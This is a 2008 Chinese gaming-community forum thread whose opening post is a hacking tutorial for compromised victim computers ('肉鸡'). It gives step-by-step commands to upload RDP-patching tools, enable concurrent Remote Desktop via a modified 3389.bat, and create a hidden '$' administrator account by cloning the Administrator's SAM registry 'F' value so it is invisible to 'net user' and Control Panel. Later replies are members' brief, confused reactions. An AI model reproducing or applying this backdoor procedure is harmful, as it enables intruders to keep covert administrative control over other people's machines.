拜月网游联盟-拜月家族

 找回密码
 加入拜月请注册

社区中心 语音聊天 - Q群l聊天 - 网络电视 游戏中心 - 家族许愿 - 午夜电台

拜月分站 拜月音乐 - 拜月影视 - 拜月导航 拜月别墅 - 拜月商城 - 拜月游戏

历史荣耀 会员照片 - 公会名人 - 拜月宣言 拜月血统 - 规章制度 - 管理法则

查看: 265|回复: 4
打印 上一主题 下一主题
收起左侧

双开3389并建立隐藏管理员

 关闭 [复制链接]
跳转到指定楼层
楼主
拜月怪怪 发表于 2008-10-21 19:48:52 | 只看该作者 回帖奖励 |倒序浏览 |阅读模式
以下是详细内容:
一、确定要开刀肉鸡,先双开3389:
  1、先看下是否能远程登陆,看来 没有开,无法登陆
  2、把“3389工具包”内的termsrvhack.dll和xp3389.exe 上传到肉鸡C盘根目录下
  3、运行远程命令提示符,输入tasklist /svc >>c:\3389.txt
  4、刷新并查看C盘刚创建的3389.txt,记下有“DcomLaunch, TermService”特征字的进程 PID值
  5、更改工具包内3389.bat 中“@ntsd -c q -p”后面的数值为刚才的PID值,保持并上传至C盘
  6、远程命令提示符下运行3389.bat 等待成功
二、建立隐藏管理员用户:
  1、远程命令提示符下输入命令“net user 用户名$ 密码 /add” 和 “net localgroup administrators 用户名$ /add”
  2、打开远程登陆工具,单击开始菜单 点击“运行” 或 windows键+R 打开运行对话框,输入“mstsc” 回车
  3、填上肉鸡IP 并 连接
  4、登陆后,运行注册表“regedit”修改SAM权限,即 找到“HKEY_LOCAL_MACHINE\SAM\SAM” 右键查看权限,勾上“完全控制”
  5、F5刷新,找到:HKEY_LOCAL_MAICHINE\SAM\SAM\Domains\account\user\names\asp$ ,然后导出 “000001F4,000003EC、用户名$” 为1.reg、 2.reg、 3.reg
  6、net user 用户名$ /del
  7、将超级用户对应的项000001F4下的键"F"的值复制,并覆盖 “用户名$” 对应的项00000xxx下的键"F"的值,然后再将00000xxx与3.reg合并,并双击导入注册表
  8、然后改回SAM的权限,HKEY_LOCAL_MACHINE\SAM\SAM点击右键权限(只要删除添加的帐户administrator即可)
  9、到此隐藏用户建立成功
  10、断开连接,重新登陆试试,成功 ~~~能登陆
  看到了吧,net  user 命令 看不到 asp$ 用户
控制面板也看不见

                               
登录/注册后可看大图
分享到:  QQ好友和群QQ好友和群 QQ空间QQ空间 腾讯微博腾讯微博 腾讯朋友腾讯朋友
收藏收藏 转播转播 分享分享 分享淘帖 顶 踩
亲!你还没有自己的签名 点击设置
沙发
拜月飓风 发表于 2008-10-21 19:57:43 | 只看该作者
有看没有懂~~~~~~~~~~~~~~~~~
亲!你还没有自己的签名 点击设置
板凳
拜月无罪 发表于 2008-10-23 14:19:59 | 只看该作者
什么意思 是不是双开 某个游戏???????:1:
亲!你还没有自己的签名 点击设置
地板
拜月老九 发表于 2008-10-23 14:45:57 | 只看该作者
:3: :3: 人家是黑客教程.你们想游戏去了...3389是一个远程登陆工具...登陆的端口是电脑的3389端口.
亲!你还没有自己的签名 点击设置
5#
拜月緤児 发表于 2008-10-23 15:39:46 | 只看该作者
[害羞] 还是我家凄凉比较厉害啊
亲!你还没有自己的签名 点击设置
您需要登录后才可以回帖 登录 | 加入拜月请注册

本版积分规则

关于我们|赞助我们|手机版|网站地图|拜月网游联盟 ( 沪ICP备12021343号 )  

GMT+8, 2026-3-16 03:14 , Processed in 0.048149 second(s), 37 queries .

Powered by Discuz! X3 Licensed

© 2003-2013 MEKbaiyue.

返回顶部